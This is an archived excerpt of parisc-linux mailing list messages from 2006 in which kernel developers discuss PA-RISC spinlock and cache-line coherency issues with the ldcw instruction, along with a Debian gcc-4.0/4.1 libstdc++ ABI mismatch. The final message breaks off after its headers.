X-GMX-UID: BEZmfEQgMmApvrSZZGFnODkxMjQ1N92q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23648

On Sun April 30 2006 18:30, John David Anglin wrote:
> > Somewhere it is written: "No data should be stored on the same cache
> > line as the lock unless all access is protected by that lock."
> 
> It's in the arch:
> 
>   When using semaphores to synchronize with I/O, care must be taken
>   in placing other information in the same cache line as the semaphore.
>   Data which is writable, can only be placed in the same cache line as
>   a semaphore if access to write the data is controlled by the semaphore.
> 
> I think it's easy to misread these two sentences (i.e., to assume
> that writeable data can occur on the same line as the semaphore
> if the semaphore isn't being used to synchonize with I/O).
> 
> I'm almost certain we have more than one semaphore per line in current
> kernels and I think that using ldcw,co is dangerous when that's done.
>

Been giving that some thought, mixed with the prior weeks findings...

Consider;
Two processors;
Two semaphores, unrelated by any program logic, except they share
the same cache line;

Each of the processors grabs an 'unrelated' semaphore -

No matter how I work that problem, there is a failure window in at 
least one of the event order sequences.

I agree: "Don't do that (tm)"

Mike

> ldcw appears safer because it does a flush if needed.  Still, I worry
> that this may not be sufficient because a sync is usually also necessary.
> Flushes are weakly ordered.
> 
> If we dedicate 128 bytes per semaphore, then possibly ldcw,co will work.
> It's also optimal from the contention standpoint.  This is pointed out
> in the paper on semaphores.
> 
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 18:01:23 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <200604301801.23210.mszick@morethan.org>
References: <200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624078 19493 80.91.229.3 (22 Nov 2014 02:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 23:01:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 01 May 2006 01:01:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B573E7D685;
	Sun, 30 Apr 2006 17:01:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21873-05; Sun, 30 Apr 2006 17:01:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 678457D6A0;
	Sun, 30 Apr 2006 17:01:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AF037D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:01:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21873-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:01:29 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 151537D41F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:01:29 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3UN1TwP070936;
	Sun, 30 Apr 2006 16:01:29 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.79.64] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id rRI0NWO2
	authenticated by SMTP; Sun, 30 Apr 2006 16:01:28 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5nNzbESzLi5n8ffRZWtpZGZjZml1ZJgZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23649

On Sun April 30 2006 16:25, John David Anglin wrote:
> 
> Note the line doesn't have to be dirty.  Unless extreme care is
> used, the line could have been be brought into cache by a load for
> data elsewhere on the line.  So for correct operation of 'ldcw,co',
> there really must be no inter-processor timing problems in kicking
> out cachelines.  Otherwise, we could end up with two dirty cachelines
> and a broken spinlock.
> 

Somewhere it is written: "No data should be stored on the same cache
line as the lock unless all access is protected by that lock."

I recall the quote, do not recall which document.

That is what you just said above.  It makes sense even if not using
the coherent version of the semaphore instruction.

It makes even more sense if we are directly trying to control the
cache behavior using the coherent version.

One lock per cache line and knowledge of how long the cache line
is on a machine seems to be safe rule for now.

I.E: Fix it first, make it elegant later.

> It may be this is only reliable on fully coherent systems.  While
> the N-class is classified as a UMA machine, it has two system buses
> separated by a memory controller.  Each system bus can handle four
> processors with L1 and L2 cache.  Thus, it would seem safer to adopt
> the prewrite and use ldcw without the cache control completer.
> 

Scratches head...

I wonder where Joel has his processors installed in relation to the
two busses?  Both on same buss or one per buss?  Would his lockups
go away if he picked the other relationship?

I will ask him.  (or perhaps I just did)

Mike
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 18:28:26 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <200604301828.26318.mszick@morethan.org>
References: <200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
	<200604301801.23210.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624078 19496 80.91.229.3 (22 Nov 2014 02:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 23:28:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 01 May 2006 01:28:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 204967D6BD;
	Sun, 30 Apr 2006 17:28:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22208-04; Sun, 30 Apr 2006 17:28:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E25457D6BE;
	Sun, 30 Apr 2006 17:28:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD2F97D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:28:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22062-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:28:30 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id C2C0E7D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:28:30 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3UNSX6D085128;
	Sun, 30 Apr 2006 16:28:33 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.79.64] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id d8M09DS2
	authenticated by SMTP; Sun, 30 Apr 2006 16:28:32 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604301801.23210.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fwwfAydza2A7ubvDOHQyMTQyOWhhageF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23650

On Sun April 30 2006 18:01, Michael S. Zick wrote:
> 
> Scratches head...
> 
> I wonder where Joel has his processors installed in relation to the
> two busses?  Both on same buss or one per buss?  Would his lockups
> go away if he picked the other relationship?
> 
> I will ask him.  (or perhaps I just did)
>

Browsing old parisc spinlock code, I find a comment that the N4K
can only have one outstanding PxTLB transaction at a time.

Is it not the PxTLB transactions that implement the inter-processor
coherency?

Which is of course required for inter-processor spinlocks to work.

And, of course, this being Linux, the queue is protected by a spinlock!

Did someone just shoot themselves in the foot?

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#364231: [parisc-linux] Re: Bug#364231: exception catching
Date: Mon, 1 May 2006 09:56:41 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200605011356.k41DugMD023580__17646.4157797911$1416624078$gmane$org@hiauly1.hia.nrc.ca>
References: <20060501025703.GL18891@mauritius.dodds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624078 19499 80.91.229.3 (22 Nov 2014 02:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:18 +0000 (UTC)
Cc: steven.robbins@videotron.ca,
 364231@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: vorlon@debian.org (Steve Langasek)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2006 13:58:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 01 May 2006 15:58:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFB357D6F3;
	Mon,  1 May 2006 07:57:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28937-01; Mon, 1 May 2006 07:57:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A40C7D6E3;
	Mon,  1 May 2006 07:57:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D05F7D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 May 2006 07:57:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28679-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 May 2006 07:57:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7B59D7D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 May 2006 07:57:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k41DugCG023581;
	Mon, 1 May 2006 09:56:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k41DugMD023580;
	Mon, 1 May 2006 09:56:42 -0400 (EDT)
In-Reply-To: <20060501025703.GL18891@mauritius.dodds.net> from "Steve
	Langasek" at Apr 30, 2006 07:57:03 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jXojd1ohODBpsLWUfGRMO041Ji9SWlLw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23651

> Er, no; we're talking about official Debian packages here, and the
> libstdc++.so.6 in Debian is now from gcc-4.1.  The problem is precisely that
> GMP *is* being built using gcc-4.0, but libstdc++ is from gcc-4.1, resulting
> in the double libgcc_s problem.

Then, you must build *eveything* for hppa with gcc-4.1 or later.

Unfortunately, there's an ABI break.  Mixing libraries compiled with
4.0 or earlier with libraries compiled with 4.1 or later is just going
to cause unnecessary problems.   3.3 uses libstdc++.so.5, so you
avoid the double libgcc_s problem building GMP.  However, you still
have the ABI change affecting the passing and return of complex types.

At a fundamental level, libstdc++.so.6, libgfortran.so.1.0.0 and any
other gcc libraries built with 4.1 or later need glibc built with 4.1
to function correctly because of the various complex functions in
the math library.

I think there's a dynamic loader bug here as well.  I'm just
guessing but I think the double libgcc_s problem causes a problem
with the handling of .eh_frame data.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Tue, 2 May 2006 00:00:28 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20060502060028.GA14414@colo.lackof.org>
References: <20060430171331.GB1358@skunkworks.cabal.ca>
	<200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624078 19503 80.91.229.3 (22 Nov 2014 02:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 05:48:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 02 May 2006 07:48:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62DDC7D6EF;
	Mon,  1 May 2006 23:48:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01125-05; Mon, 1 May 2006 23:48:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A64E7D6F1;
	Mon,  1 May 2006 23:48:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3E727D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 May 2006 23:48:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01125-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 May 2006 23:48:29 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C456B7D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 May 2006 23:48:29 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E6C9F39810D;
	Tue,  2 May 2006 00:00:29 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13761-09; Tue, 2 May 2006 00:00:28 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7BFE63980FE; Tue,  2 May 2006 00:00:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hsBwbFizLi5n8ffRZWtpZGZjZml1ZNj4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23652

On Sun, Apr 30, 2006 at 05:25:13PM -0400, John David Anglin wrote:
...
> I also suggest using an ordered store for the unlock operation.  This
> doesn't cost anything and may help to ensure that the order of memory
> accesses as seen by another processor occur in the expected sequence.

I've had it drilled into my head that all parisc implmentations
have strongly ordered memory subsystems. John Marvin (jsm) has
stated that more than a few times on this list. So "ordered store"
is the same as a regular store.

> It all comes down to this crucial bit of code in the ldcw description:

I'd rather have someone like Jerry Huck or someone in his experience
comment on this before we go down this path.  I'll try to find
someone to consult with this week.

...
> It may be this is only reliable on fully coherent systems.  While
> the N-class is classified as a UMA machine, it has two system buses
> separated by a memory controller.  Each system bus can handle four
> processors with L1 and L2 cache.

AFAIK, N-class has no L2 cache.

But it's worse than you think.
N-class has two _Merced_ busses connected to the memory controller. 
Each Processor is connected via a double pumped Runway Bus to "Dew"
which acts as a "bridge" to one of the Merced Busses.

[ Digression - certain document says:
	In PA-RISC, code fetches are non-coherent, such that PCX-W doesn't
	even supply Vindex bits that would allow the code fetches to be
	coherent.
]

> Thus, it would seem safer to adopt
> the prewrite and use ldcw without the cache control completer.

I'm skeptical but will ask about this.
Maybe I'm thinking kernel space only...is this intended only for
user space or for kernel also?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Tue, 2 May 2006 00:24:42 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20060502062442.GC14414@colo.lackof.org>
References: <200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
	<200604301801.23210.mszick@morethan.org>
	<200604301828.26318.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624079 19506 80.91.229.3 (22 Nov 2014 02:41:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:19 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@morethan.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 06:12:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 02 May 2006 08:12:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 121487D675;
	Tue,  2 May 2006 00:12:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01508-09; Tue, 2 May 2006 00:12:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6A367D69F;
	Tue,  2 May 2006 00:12:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47D2B7D674
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 00:12:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01508-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 May 2006 00:12:43 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 681B67D666
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 00:12:43 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9963539810D;
	Tue,  2 May 2006 00:24:43 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15858-05; Tue, 2 May 2006 00:24:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 29CF23980FE; Tue,  2 May 2006 00:24:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200604301828.26318.mszick@morethan.org>
X-Home-Page: http://www.parisc-linux.org/
